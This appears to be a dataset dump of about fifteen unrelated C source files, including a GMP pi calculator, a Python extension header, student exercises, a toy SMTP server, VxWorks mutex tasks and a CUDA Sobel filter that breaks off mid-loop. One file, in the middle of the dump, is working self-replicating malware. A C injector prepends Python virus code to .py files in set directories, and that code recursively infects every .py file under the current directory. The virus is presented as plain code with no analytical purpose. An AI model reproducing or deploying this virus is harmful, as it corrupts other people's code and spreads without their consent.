language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
|---|---|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <gmp.h>
#include <pthread.h>
#define LOG2_10 3.32192809489
#define N 100000
#define PREC 25000
#define PRECBITS (int)PREC*LOG2_10
#define BUFSIZE (int)(3*N/10)
#define THREADNUM 2
typedef struct {
pthread_mutex_t buf_lock;
int fullSp;
int empSp;
int start;
pthread_cond_t full;
pthread_cond_t empty;
mpf_t buffer[BUFSIZE];
} buf_t;
mpf_t a;
mpf_t b;
mpf_t t;
mpf_t p;
mpf_t pi;
mpf_t temp_a;
mpf_t temp_b;
mpf_t temp_tt;
mpf_t temp_p;
mpf_t temp;
int itCounter;
buf_t *buf;
buf_t *new_cb(){
buf_t *cbp;
cbp = (buf_t *) malloc(sizeof(buf_t));
if (cbp == NULL){
return (NULL);
}
pthread_mutex_init(&cbp->buf_lock, NULL);
pthread_cond_init(&cbp->full, NULL);
pthread_cond_init(&cbp->empty, NULL);
cbp->fullSp = 0;
cbp->empSp = BUFSIZE;
cbp->start = 0;
for(int i = 0; i < BUFSIZE; ++i){
mpf_init(cbp->buffer[i]);
}
return cbp;
}
void *thread_AB(){
itCounter = 0;
while(1){
pthread_mutex_lock(&((buf_t *)buf)->buf_lock);
if(itCounter == N){
pthread_cond_signal(&((buf_t *)buf)->empty);
pthread_mutex_unlock(&((buf_t *)buf)->buf_lock);
pthread_exit(0);
}
if(((buf_t *)buf)->fullSp == BUFSIZE){
pthread_cond_wait(&((buf_t *)buf)->full, &((buf_t *)buf)->buf_lock);
}
//a = (a + b)/2
mpf_add(a, temp_a, temp_b);
mpf_div_ui(a, a, 2.0);
//b = sqrt(ab)
mpf_mul(b, temp_a, temp_b);
mpf_sqrt(b, b);
mpf_set(((buf_t *)buf)->buffer[(((buf_t *)buf)->fullSp + ((buf_t *)buf)->start) % BUFSIZE], a);
mpf_set(((buf_t *)buf)->buffer[((((buf_t *)buf)->fullSp + ((buf_t *)buf)->start) % BUFSIZE) + 1], temp_a);
mpf_set(temp_a, a);
mpf_set(temp_b, b);
++itCounter;
(((buf_t *)buf)->fullSp) += 2;
(((buf_t *)buf)->empSp) -= 2;
pthread_cond_signal(&((buf_t *)buf)->empty);
pthread_mutex_unlock(&((buf_t *)buf)->buf_lock);
}
pthread_exit(0);
}
void *thread_T(){
while(1){
pthread_mutex_lock(&((buf_t *)buf)->buf_lock);
if(((buf_t *)buf)->fullSp <= 0){
if(itCounter == N){
pthread_cond_signal(&((buf_t *)buf)->full);
pthread_mutex_unlock(&((buf_t *)buf)->buf_lock);
pthread_exit(0);
}
}
if(((buf_t *)buf)->fullSp == 0){
pthread_cond_wait(&((buf_t *)buf)->empty, &((buf_t *)buf)->buf_lock);
}
mpf_sub(temp, ((buf_t *)buf)->buffer[(((buf_t *)buf)->start) + 1], ((buf_t *)buf)->buffer[((buf_t *)buf)->start]);
//t = t - p(a - a)^2
mpf_mul(temp, temp, temp);
mpf_mul(temp, temp, temp_p);
mpf_sub(t, temp_tt, temp);
//p = 2p
mpf_mul_ui(p, temp_p, 2.0);
mpf_set(temp_tt, t);
mpf_set(temp_p, p);
((buf_t *)buf)->fullSp -= 2;
((buf_t *)buf)->empSp += 2;
((buf_t *)buf)->start += 2;
if(((buf_t *)buf)->start == BUFSIZE || ((buf_t *)buf)->empSp == BUFSIZE){
((buf_t *)buf)->start = 0;
}
pthread_cond_signal(&((buf_t *)buf)->full);
pthread_mutex_unlock(&((buf_t *)buf)->buf_lock);
}
pthread_exit(0);
}
int main(void){
pthread_t threads[THREADNUM];
buf = new_cb();
mpf_set_default_prec(PRECBITS);
mpf_init(a);
mpf_init(b);
mpf_init(t);
mpf_init(p);
mpf_init(pi);
mpf_init(temp_a);
mpf_init(temp_b);
mpf_init(temp_tt);
mpf_init(temp_p);
mpf_init(temp);
//a = 1
mpf_set_d(a, 1.0);
//b = 1/sqrt(2)
mpf_set_d(b, 2.0);
mpf_sqrt(b, b);
mpf_ui_div(b, 1, b);
//t = 0.25
mpf_set_d(t, 0.25);
//p = 1
mpf_set_d(p, 1.0);
mpf_set(temp_a, a);
mpf_set(temp_b, b);
mpf_set(temp_tt, t);
mpf_set(temp_p, p);
pthread_create(&threads[0], NULL, thread_AB, NULL);
pthread_create(&threads[1], NULL, thread_T, NULL);
pthread_join(threads[0], NULL);
pthread_join(threads[1], NULL);
//pi = (a + b)^2/4t
mpf_add(pi, a, b);
mpf_mul(pi, pi, pi);
mpf_mul_ui(a, t, 4.0);
mpf_div(pi, pi, a);
gmp_printf("%.6Ff\n", pi);
mpf_clear(a);
mpf_clear(b);
mpf_clear(t);
mpf_clear(pi);
mpf_clear(temp_a);
mpf_clear(temp_b);
mpf_clear(temp_tt);
mpf_clear(temp);
return 0;
}
|
C
|
// Python - C extension for finite_volumes util module.
//
// To compile (Python2.3):
// gcc -c util_ext.c -I/usr/include/python2.3 -o util_ext.o -Wall -O
// gcc -shared util_ext.o -o util_ext.so
//
// See the module util.py
//
//
// Ole Nielsen, GA 2004
#include "Python.h"
#include "numpy/arrayobject.h"
#include "math.h"
#include <stdio.h>
#ifndef ANUGA_UTIL_EXT_H
#define ANUGA_UTIL_EXT_H
#define STRINGIFY(x) #x
#define TOSTRING(x) STRINGIFY(x)
#define AT __FILE__ ":" TOSTRING(__LINE__)
#define P_ERROR_BUFFER_SIZE 65
void report_python_error(const char *location, const char *msg)
{
char buf[P_ERROR_BUFFER_SIZE];
snprintf(buf, P_ERROR_BUFFER_SIZE, "Error at %s: %s\n", location, msg);
PyErr_SetString(PyExc_RuntimeError, buf);
}
double max(double x, double y) {
//Return maximum of two doubles
if (x > y) return x;
else return y;
}
double min(double x, double y) {
//Return minimum of two doubles
if (x < y) return x;
else return y;
}
double sign(double x) {
//Return sign of a double
if (x>0.0) return 1.0;
else if (x<0.0) return -1.0;
else return 0.0;
}
int _gradient(double x0, double y0,
double x1, double y1,
double x2, double y2,
double q0, double q1, double q2,
double *a, double *b) {
/*Compute gradient (a,b) based on three points (x0,y0), (x1,y1) and (x2,y2)
with values q0, q1 and q2.
Extrapolation formula (q0 is selected as an arbitrary origin)
q(x,y) = q0 + a*(x-x0) + b*(y-y0) (1)
Substituting the known values for q1 and q2 into (1) yield the
equations for a and b
q1-q0 = a*(x1-x0) + b*(y1-y0) (2)
q2-q0 = a*(x2-x0) + b*(y2-y0) (3)
or in matrix form
/ \ / \ / \
| x1-x0 y1-y0 | | a | | q1-q0 |
| | | | = | |
| x2-x0 y2-y0 | | b | | q2-q0 |
\ / \ / \ /
which is solved using the standard determinant technique
*/
double det;
det = (y2-y0)*(x1-x0) - (y1-y0)*(x2-x0);
*a = (y2-y0)*(q1-q0) - (y1-y0)*(q2-q0);
*a /= det;
*b = (x1-x0)*(q2-q0) - (x2-x0)*(q1-q0);
*b /= det;
return 0;
}
int _gradient2(double x0, double y0,
double x1, double y1,
double q0, double q1,
double *a, double *b) {
/*Compute gradient (a,b) between two points (x0,y0) and (x1,y1)
with values q0 and q1 such that the plane is constant in the direction
orthogonal to (x1-x0, y1-y0).
Extrapolation formula
q(x,y) = q0 + a*(x-x0) + b*(y-y0) (1)
Substituting the known values for q1 into (1) yields an
under determined equation for a and b
q1-q0 = a*(x1-x0) + b*(y1-y0) (2)
Now add the additional requirement that the gradient in the direction
orthogonal to (x1-x0, y1-y0) should be zero. The orthogonal direction
is given by the vector (y0-y1, x1-x0).
Define the point (x2, y2) = (x0 + y0-y1, y0 + x1-x0) on the orthognal line.
Then we know that the corresponding value q2 should be equal to q0 in order
to obtain the zero gradient, hence applying (1) again
q0 = q2 = q(x2, y2) = q0 + a*(x2-x0) + b*(y2-y0)
= q0 + a*(x0 + y0-y1-x0) + b*(y0 + x1-x0 - y0)
= q0 + a*(y0-y1) + b*(x1-x0)
leads to the orthogonality constraint
a*(y0-y1) + b*(x1-x0) = 0 (3)
which closes the system and yields
/ \ / \ / \
| x1-x0 y1-y0 | | a | | q1-q0 |
| | | | = | |
| y0-y1 x1-x0 | | b | | 0 |
\ / \ / \ /
which is solved using the standard determinant technique
*/
double det, xx, yy, qq;
xx = x1-x0;
yy = y1-y0;
qq = q1-q0;
det = xx*xx + yy*yy; //FIXME catch det == 0
*a = xx*qq/det;
*b = yy*qq/det;
return 0;
}
void _limit_old(int N, double beta, double* qc, double* qv,
double* qmin, double* qmax) {
//N are the number of elements
int k, i, k3;
double dq, dqa[3], phi, r;
//printf("INSIDE\n");
for (k=0; k<N; k++) {
k3 = k*3;
//Find the gradient limiter (phi) across vertices
phi = 1.0;
for (i=0; i<3; i++) {
r = 1.0;
dq = qv[k3+i] - qc[k]; //Delta between vertex and centroid values
dqa[i] = dq; //Save dq for use in the next loop
if (dq > 0.0) r = (qmax[k] - qc[k])/dq;
if (dq < 0.0) r = (qmin[k] - qc[k])/dq;
phi = min( min(r*beta, 1.0), phi);
}
//Then update using phi limiter
for (i=0; i<3; i++) {
qv[k3+i] = qc[k] + phi*dqa[i];
}
}
}
void print_double_array(char* name, double* array, int n, int m){
int k,i,km;
printf("%s = [",name);
for (k=0; k<n; k++){
km = m*k;
printf("[");
for (i=0; i<m ; i++){
printf("%g ",array[km+i]);
}
if (k==(n-1))
printf("]");
else
printf("]\n");
}
printf("]\n");
}
void print_int_array(char* name, int* array, int n, int m){
int k,i,km;
printf("%s = [",name);
for (k=0; k<n; k++){
km = m*k;
printf("[");
for (i=0; i<m ; i++){
printf("%i ",array[km+i]);
}
if (k==(n-1))
printf("]");
else
printf("]\n");
}
printf("]\n");
}
void print_long_array(char* name, long* array, int n, int m){
int k,i,km;
printf("%s = [",name);
for (k=0; k<n; k++){
km = m*k;
printf("[");
for (i=0; i<m ; i++){
printf("%i ",(int) array[km+i]);
}
if (k==(n-1))
printf("]");
else
printf("]\n");
}
printf("]\n");
}
void print_numeric_array(PyArrayObject *x) {
int i, j;
for (i=0; i<x->dimensions[0]; i++) {
for (j=0; j<x->dimensions[1]; j++) {
printf("%f ", *(double*) (x->data + i*x->strides[0] + j*x->strides[1]));
}
printf("\n");
}
printf("\n");
}
void print_numeric_vector(PyArrayObject *x) {
int i;
for (i=0; i<x->dimensions[0]; i++) {
printf("%f ", *(double*) (x->data + i*x->strides[0]));
}
printf("\n");
}
PyArrayObject *get_consecutive_array(PyObject *O, char *name) {
PyArrayObject *A, *B;
//Get array object from attribute
/*
//FIXME: THE TEST DOESN't WORK
printf("Err = %d\n", PyObject_HasAttrString(O, name));
if (PyObject_HasAttrString(O, name) == 1) {
B = (PyArrayObject*) PyObject_GetAttrString(O, name);
if (!B) return NULL;
} else {
return NULL;
}
*/
B = (PyArrayObject*) PyObject_GetAttrString(O, name);
//printf("B = %p\n",(void*)B);
if (!B) {
printf("util_ext.h: get_consecutive_array could not obtain python object");
printf(" %s\n",name);
fflush(stdout);
PyErr_SetString(PyExc_RuntimeError, "util_ext.h: get_consecutive_array could not obtain python object");
return NULL;
}
//Convert to consecutive array
A = (PyArrayObject*) PyArray_ContiguousFromObject((PyObject*) B,
B -> descr -> type, 0, 0);
Py_DECREF(B); //FIXME: Is this really needed??
if (!A) {
printf("util_ext.h: get_consecutive_array could not obtain array object");
printf(" %s \n",name);
fflush(stdout);
PyErr_SetString(PyExc_RuntimeError, "util_ext.h: get_consecutive_array could not obtain array");
return NULL;
}
return A;
}
double get_python_double(PyObject *O, char *name) {
PyObject *TObject;
#define BUFFER_SIZE 80
char buf[BUFFER_SIZE];
double tmp;
//Get double from attribute
TObject = PyObject_GetAttrString(O, name);
if (!TObject) {
snprintf(buf, BUFFER_SIZE, "util_ext.h: get_python_double could not obtain double %s.\n", name);
//printf("name = %s",name);
PyErr_SetString(PyExc_RuntimeError, buf);
return 0.0;
}
tmp = PyFloat_AsDouble(TObject);
Py_DECREF(TObject);
return tmp;
}
int get_python_integer(PyObject *O, char *name) {
PyObject *TObject;
#define BUFFER_SIZE 80
char buf[BUFFER_SIZE];
long tmp;
//Get double from attribute
TObject = PyObject_GetAttrString(O, name);
if (!TObject) {
snprintf(buf, BUFFER_SIZE, "util_ext.h: get_python_integer could not obtain double %s.\n", name);
//printf("name = %s",name);
PyErr_SetString(PyExc_RuntimeError, buf);
return 0;
}
tmp = PyInt_AsLong(TObject);
Py_DECREF(TObject);
return tmp;
}
PyObject *get_python_object(PyObject *O, char *name) {
PyObject *Oout;
Oout = PyObject_GetAttrString(O, name);
if (!Oout) {
PyErr_SetString(PyExc_RuntimeError, "util_ext.h: get_python_object could not obtain object");
return NULL;
}
return Oout;
}
double* get_python_array_data_from_dict(PyObject *O, char *name, char *array) {
PyObject *A;
PyArrayObject *B;
A = PyDict_GetItemString(O, name);
B = get_consecutive_array(A, array);
return (double *) B->data;
}
// check that numpy array objects are C contiguous memory
#define CHECK_C_CONTIG(varname) if (!PyArray_ISCONTIGUOUS(varname)) { \
char msg[1024]; \
sprintf(msg, \
"%s(): file %s, line %d: " \
"'%s' object is not C contiguous memory", \
__func__, __FILE__, __LINE__, #varname); \
PyErr_SetString(PyExc_RuntimeError, msg); \
return NULL; \
}
#endif
|
C
|
#include <stdio.h>
void main() {
int m1,d1,m2,d2,i=0;
scanf("%d:%d %d:%d",&m2,&d2,&m1,&d1);
int days[]={0,31,29,31,30,31,30,31,31,30,31,30,31};
if(m1==m2&&d2>=d1){i+=d2-d1;
}else if(m2>m1){i+=days[m1]-d1+d2;
for(int j=m1+1;j<m2;j++){i+=days[j];}
}else{printf("Duang\n");}
if(m2>m1||(m2=m1&&d2>=d1)){printf ("%d\n",i);}}
|
C
|
#include <stdio.h>
#include <string.h>
typedef char* _String;
enum { FALSE, TRUE };
#define BUFF 128
_String getVirus( void );
_Bool getExten(_String file);
_Bool getCheck(_String file);
_Bool doInject(_String file);
_Bool activate(_String root);
#define COMMAND "ls"
#define EXTEN "py"
#define QUAN 3
int main( void ) {
_String dir[QUAN] = {
"/home/user/Templates/C/TEST/",
"/home/user/Templates/C/SOME/",
"/home/user/Templates/C/TEST/MORE/"
};
for (unsigned short index = 0;
index < QUAN; activate(dir[index++]));
return 0;
}
_Bool activate(_String root) {
char fileName[BUFF];
char pathToFile[BUFF];
unsigned short lenFileName;
char command[BUFF] = COMMAND;
strcat(command, " ");
strcat(command, root);
FILE *checkDir = popen(command,"r");
if (checkDir != NULL) {
while (fgets(fileName, BUFF, checkDir) != NULL) {
pathToFile[0] = '\0';
strcat(pathToFile, root);
lenFileName = strlen(fileName);
fileName[lenFileName-1] = '\0';
if (getExten(fileName) == TRUE) {
strcat(pathToFile, fileName);
if (getCheck(pathToFile) == FALSE) {
doInject(pathToFile);
}
}
}
fclose(checkDir);
} else return 1;
return 0;
}
_Bool doInject(_String file) {
_String virusCode = getVirus();
long size;
FILE *readLength = fopen(file, "r");
if (readLength != NULL) {
fseek(readLength, 0, SEEK_END);
size = ftell(readLength);
fclose(readLength);
} else return 1;
char originCode[size];
FILE *copyCode = fopen(file, "r");
if (copyCode != NULL) {
fread(originCode, sizeof(char), size, copyCode);
fclose(copyCode);
} else return 1;
FILE *injectCode = fopen(file,"w");
if (injectCode != NULL) {
fprintf(injectCode, "%s\n", virusCode);
fprintf(injectCode, "%s\n", originCode);
fclose(injectCode);
} else return 1;
return 0;
}
_Bool getCheck(_String file) {
_Bool virusIS = FALSE;
char buffer[BUFF];
FILE *check = fopen(file,"r");
if (check != NULL) {
while (fgets(buffer, BUFF, check) != NULL)
if (strcmp(buffer, "#STARTED#\n") == 0) {
virusIS = TRUE;
break;
}
fclose(check);
} else return 1;
return virusIS;
}
_Bool getExten(_String file) {
_Bool dotIS = FALSE;
unsigned short length = strlen(file);
char buffer[BUFF] = {0};
_String findExnten = EXTEN;
unsigned short twindex = 0;
for (unsigned short index = 0; index < length; index++) {
if (dotIS == TRUE)
buffer[twindex++] = file[index];
if (file[index] == '.')
dotIS = TRUE;
}
if (strcmp(buffer, findExnten) == 0)
return TRUE;
else return FALSE;
}
_String getVirus( void ) {
return
"\n#STARTED#\n"
"import sys, os\n"
/* inject Code */
"def virus(python):\n"
" begin = \"#STARTED#\\n\"; end = \"#STOPPED#\\n\"\n"
" with open(sys.argv[0]) as copy:\n"
" k = 0; virus_code = \"\\n\"\n"
" for line in copy:\n"
" if line == begin: k = 1; virus_code += begin\n"
" elif k == 1 and line != end: virus_code += line\n"
" elif line == end: virus_code += end; break\n"
" else: pass\n"
" with open(python) as file:\n"
" origin_code = \"\"\n"
" for line in file:\n"
" origin_code += line\n"
" if line == begin: Virus = True; break\n"
" else: Virus = False\n"
" if Virus == False:\n"
" with open(python,\"w\") as paste:\n"
" paste.write(virus_code+\"\\n\\n\"+origin_code)\n"
" else: pass\n"
/* Additional Code */
"def code(void):\n"
" pass\n"
"code(None)\n"
/* Search Files */
"def walk(dir):\n"
" for name in os.listdir(dir):\n"
" path = os.path.join(dir, name)\n"
" if os.path.isfile(path):\n"
" if os.path.splitext(path)[1] == \".py\":\n"
" virus(path)\n"
" else: pass\n"
" else: walk(path)\n"
"walk(os.getcwd())\n"
"#STOPPED#\n";
}
|
C
|
int main() {
int a[] = { 1, 2, 3 };
int *p = a;
*p = 10;
p = p + 1;
*p = 20;
p = p + 1;
*p = 30;
return foo(a);
}
int foo(int *p) {
int n = 0;
n = n + *p;
p = p + 1;
n = n + *p;
p = p + 1;
n = n + *p;
return n;
}
|
C
|
#include <stdio.h>
int main()
{
double f;
double c;
printf("ȭ ԷϽÿ: ");
scanf("%lf", &f);
c = (5.0 / 9.0)*(f - 32.0);
printf(" %fԴϴ.\n", c);
return 0;
}
|
C
|
#include "libft.h"
void *ft_memccpy(void *dst, const void *src,
int c, size_t len)
{
unsigned char *ptr;
const unsigned char *src_ptr;
ptr = (unsigned char *)dst;
src_ptr = (unsigned char *)src;
while (len--)
{
*ptr = *src_ptr;
if (*src_ptr == (unsigned char)c)
return (++ptr);
ptr++;
src_ptr++;
}
return (NULL);
}
|
C
|
#include <stdio.h>
#include <string.h>
struct student{
char name[20];
int id;
char phone[10];
float grade[4];
int birth_year;
int birth_month;
int birth_day;
};
typedef struct student data;
int main(){
char in[80] , out[80]; scanf("%s%s" , in , out);
FILE* input = fopen(in , "rb");
FILE* output = fopen(out , "wt");
fseek(input , 0 , SEEK_END);
int n = ftell(input) / sizeof(data);
fseek(input , 0 , SEEK_SET);
data Student[n];
fread(Student , sizeof(data) , n , input);
fprintf(output , "<table border=\"1\">\n<tbody>\n");
for(int i = 0; i < n; i++){
fprintf(output , "<tr>\n<td>%s</td>\n<td>%d</td>\n<td>%s</td>\n<td>%f, %f, %f, %f</td>\n<td>%d, %d, %d</td>\n</tr>\n" , Student[i].name , Student[i].id , Student[i].phone , Student[i].grade[0] , Student[i].grade[1] , Student[i].grade[2] , Student[i].grade[3] , Student[i].birth_year , Student[i].birth_month , Student[i].birth_day);
}
fprintf(output , "</tbody>\n</table>\n");
fclose(input); fclose(output);
}
|
C
|
#include <stdint.h>
#include <vx_intrinsics.h>
#include <vx_spawn.h>
#include <vx_print.h>
#include "common.h"
// Parallel Selection sort
int __attribute__((noinline)) __smaller(int index, int tid, int32_t cur_value, int32_t ref_value) {
int ret = 0;
__if (cur_value < ref_value) {
ret = 1;
} __else {
__if (cur_value == ref_value) {
__if (index < tid) {
ret = 1;
} __endif
} __endif
} __endif
return ret;
}
void kernel_body(int task_id, void* arg) {
struct kernel_arg_t* _arg = (struct kernel_arg_t*)(arg);
uint32_t num_points = _arg->num_points;
int32_t* src_ptr = (int32_t*)_arg->src_ptr;
int32_t* dst_ptr = (int32_t*)_arg->dst_ptr;
int32_t ref_value = src_ptr[task_id];
uint32_t pos = 0;
for (uint32_t i = 0; i < num_points; ++i) {
int32_t cur_value = src_ptr[i];
pos += __smaller(i, task_id, cur_value, ref_value);
}
dst_ptr[pos] = ref_value;
vx_printf("taskid=%d, pos=%d, value=%d\n", task_id, pos, ref_value);
}
void main() {
struct kernel_arg_t* arg = (struct kernel_arg_t*)KERNEL_ARG_DEV_MEM_ADDR;
vx_spawn_tasks(arg->num_points, kernel_body, arg);
}
|
C
|
#include<stdio.h>
#include<string.h>
void stringreverse(char*,char*);
main()
{
char str[30];
printf("enter the string\n");
scanf("%s",str);
/*stringreverse(str,0,strlen(str)-1);
printf("str=%s\n",str);
}
void stringreverse(char*p,int i,int j)
{
char temp;
if(i<j)
{
temp=p[i];
p[i]=p[j];
p[j]=temp;
i++,j--;
stringreverse(p,i,j);
}
}*/
int len=strlen(str)-1;
stringreverse(str,str+len);
printf("str=%s\n",str);
}
void stringreverse(char*p,char*q)
{
char temp;
if(p<q)
{
temp=*p,*p=*q,*q=temp;
stringreverse(++p,--q);
}
}
|
C
|
//
// Created by Ted Klein Bergman on 10/31/18.
//
#pragma once
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/gtc/type_ptr.hpp>
struct OrientationInfo
{
glm::vec3 position = glm::vec3(0.0f, 0.0f, 0.0f);
// Direction vectors
glm::vec3 front = glm::vec3(0.0f, 0.0f, -1.0f); // Change for pitch and yaw.
glm::vec3 up = glm::vec3(0.0f, 1.0f, 0.0f); // Change for rolls.
};
struct PerspectiveInfo
{
float aspect_ratio = 1.0f;
float fov = 45.0f;
float near = 0.1f;
float far = 100.0f;
};
struct Camera
{
glm::vec3 position = glm::vec3(0.0f, 0.0f, 0.0f);
// Direction vectors
glm::vec3 front = glm::vec3(0.0f, 0.0f, -1.0f); // Change for pitch and yaw.
glm::vec3 up = glm::vec3(0.0f, 1.0f, 0.0f); // Change for rolls.
float aspect_ratio = 1.0f;
float fov = 45.0f;
float near = 0.1f;
float far = 100.0f;
glm::mat4 view()
{
return glm::lookAt(position, position + front, up);
}
glm::mat4 perspective()
{
return glm::perspective(glm::radians(fov), aspect_ratio, near, far);
}
};
|
C
|
/* A simple server in the internet domain using TCP
The port number is passed as an argument */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char *argv[])
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[256];
struct sockaddr_in serv_addr, cli_addr;
int n;
if (argc < 2) {
fprintf(stderr,"ERROR, no port provided\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
error("ERROR on accept");
char greeting[] = "220 localhost SMTP 1.0 12334567890 \r\n";
n = write(newsockfd,greeting,strlen(greeting));
if (n < 0) error("ERROR writing to socket");
while(1) {
bzero(buffer,256);
n = read(newsockfd,buffer,255);
if (n < 0) error("ERROR reading from socket");
printf("Here is the message: %s\n",buffer);
if (buffer[0]=='Q' && !strncasecmp(buffer, "QUIT", 4)) {
char goodbye[] = "221 Bye\r\n";
n = write(newsockfd,goodbye,strlen(goodbye));
break;
}
if (buffer[0]=='H' && !strncasecmp(buffer, "HELP", 4)) {
char help[] = "214- This SMTPD version 1.0\r\n214- Supported commands:\r\n214- HELO EHLO MAIL RCPT DATA\r\n214- RSET NOOP QUIT HELP VRFY\r\n";
n = write(newsockfd,help,strlen(help));
}
// n = write(newsockfd,"I got your message",18);
//if (n < 0) error("ERROR writing to socket");
}
close(newsockfd);
close(sockfd);
return 0;
}
|
C
|
#include <taskLib.h>
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <semLib.h>
#include <fcntl.h>
#include <time.h>
SEM_ID mutex;
int delay1 = 20;
int delay2 = 50;
int delay3 = 1;
int worst_time=0;
int timespec_subtract (struct timespec *result, struct timespec *x, struct timespec *y)
{
/* Perform the carry for the later subtraction by updating Y. */
if (x->tv_nsec < y->tv_nsec) {
int num_sec = (y->tv_nsec - x->tv_nsec) / 1000000000 + 1;
y->tv_nsec -= 1000000000 * num_sec;
y->tv_sec += num_sec;
}
if (x->tv_nsec - y->tv_nsec > 1000000000) {
int num_sec = (x->tv_nsec - y->tv_nsec) / 1000000000;
y->tv_nsec += 1000000000 * num_sec;
y->tv_sec -= num_sec;
}
/* Compute the time remaining to wait.
`tv_nsec' is certainly positive. */
result->tv_sec = x->tv_sec - y->tv_sec;
result->tv_nsec = x->tv_nsec - y->tv_nsec;
/* Return 1 if result is negative. */
return x->tv_sec < y->tv_sec;
}
void do_work_for_x_milliseconds(int x)
{
struct timespec begin, end, result;
int milliseconds = 0;
clock_gettime(CLOCK_MONOTONIC,&begin);
while (milliseconds < x)
{
clock_gettime(CLOCK_MONOTONIC,&end);
timespec_subtract(&result, &end, &begin);
milliseconds = result.tv_sec*1000 + result.tv_nsec/1000000;
}
}
void high(){
int i;
while(1) {
struct timespec tstart, tend, result;
clock_gettime(CLOCK_MONOTONIC, &tstart);
semTake(mutex, WAIT_FOREVER);
clock_gettime(CLOCK_MONOTONIC, &tend);
semGive(mutex);
timespec_subtract(&result, &tend, &tstart);
taskDelay(delay1); /* let other tasks run */
if(worst_time < result.tv_nsec) {
worst_time=result.tv_nsec;
}
printf("worst time: %d\n",worst_time);
}
}
void medium(){
while (1) {
do_work_for_x_milliseconds(500);
taskDelay(delay3); /* wait to let the low priority task run */
}
}
void low(){
while (1) {
semTake(mutex, WAIT_FOREVER);
do_work_for_x_milliseconds(10);
semGive(mutex);
taskDelay(delay2); /* this delay can be even zero - do you know why? */
}
}
int main(){
int id1, id2, id3;
mutex = semMCreate(SEM_Q_PRIORITY);
//mutex = semMCreate(SEM_Q_PRIORITY | SEM_INVERSION_SAFE);
sysClkRateSet(1000);
id1=taskSpawn("High", 100, 0, 4096, (FUNCPTR) high, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
id2=taskSpawn("Medium", 110, 0, 4096, (FUNCPTR) medium, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0);
id3=taskSpawn("Low", 120, 0, 4096, (FUNCPTR) low, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return 0;
}
|
C
|
#include<stdio.h>
#include<string.h>
void mahoa(char s[], int k) {
int i=0;
while (s[i] != '\0') {
if (s[i] >= 97 && s[i] <= 122) {
if ((s[i]+k ) > 122) s[i] = s[i] + k - 122 + 97;
else s[i] = s[i] + k ;
}
else if (s[i] >= 65 && s[i] <= 90) {
if ((s[i] + k) > 90) s[i] = s[i] + k - 90 + 65;
else s[i] = s[i] + k;
}
i++;
}
}
void giaima(char s[], int k) {
int i=0;
while (s[i] != '\0') {
if (s[i] >= 97 && s[i] <= 122) {
if ((s[i] - k ) < 97) s[i] = s[i] - k + 122 - 97;
else s[i] = s[i] - k ;
}
else if (s[i] >= 65 && s[i] <= 90) {
if ((s[i] - k) < 65) s[i] = s[i] - k + 90 - 65;
else s[i] = s[i] - k;
}
i++;
}
}
main() {
char s[100];
int k;
do {
printf("Nhap k:");
scanf("%d",&k);
if (k<0) printf("Nhap lai (k>0) !\n");
}
while (k<0);
k=k%26;
getchar();
gets(s);
mahoa(s,k);
puts(s);
giaima(s,k);
puts(s);
}
|
C
|
//
// Filters
//
// Includes: system
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <errno.h>
#include <assert.h>
#include <string.h>
#include <sys/io.h>
#define CLAMP_8bit(x) max(0, min(255, (x)))
#define RGB_COMPONENT_COLOR 255
typedef struct
{
unsigned char red,green,blue;
} PPMPixel;
typedef struct
{
int x, y;
PPMPixel *data;
} PPMImage;
unsigned int time_CPU = 0;
// Includes: local
enum {SOBEL_FILTER=1, HIGH_BOOST_FILTER};
char *Filter = "sobel";
int FilterMode = SOBEL_FILTER;
// Functions
static PPMImage *readPPM(const char *filename);
void writePPM(const char* filename, PPMImage* img);
void ParseArguments(int argc, char** argv);
const int FILTER_RADIUS = 1;
//const int FILTER_RADIUS = 2; // for sobel 5x5
const int FILTER_DIAMETER = 2 * FILTER_RADIUS + 1;
const int FILTER_AREA = FILTER_DIAMETER * FILTER_DIAMETER;
const int EDGE_VALUE_THRESHOLD = 70;
//const int EDGE_VALUE_THRESHOLD = 500; //sobel 5
const int HIGH_BOOST_FACTOR = 10;
#include "filter_kernel.cu"
void CPU_Sobel(unsigned char* imageIn, unsigned char* imageOut, int width, int height)
{
int i, j, rows, cols, startCol, endCol, startRow, endRow;
const float SobelMatrix[9] = {-1,0,1,-2,0,2,-1,0,1};
// const float SobelMatrix[25] = { -1,-2,0,2,1,-4,-8,0,8,4,-6,-12,0,12,6,-4,-8,0,8,4,-1,-2,0,2,1 }; // sobel 5
rows = height;
cols = width;
// Initialize all output pixels to zero
for(i=0; i<rows; i++) {
for(j=0; j<cols; j++) {
imageOut[i*width + j] = 0;
}
}
startCol = 1;
endCol = cols - 1;
startRow = 1;
endRow = rows - 1;
// Go through all inner pizel positions
for(i=startRow; i<endRow; i++) {
for(j=startCol; j<endCol; j++) {
// sum up the 9 values to calculate both the direction x and direction y
float sumX = 0, sumY=0;
for(int dy = -FILTER_RADIUS; dy <= FILTER_RADIUS; dy++) {
for(int dx = -FILTER_RADIUS; dx <= FILTER_RADIUS; dx++) {
float Pixel = (float)(imageIn[i*width + j + (dy * width + dx)]);
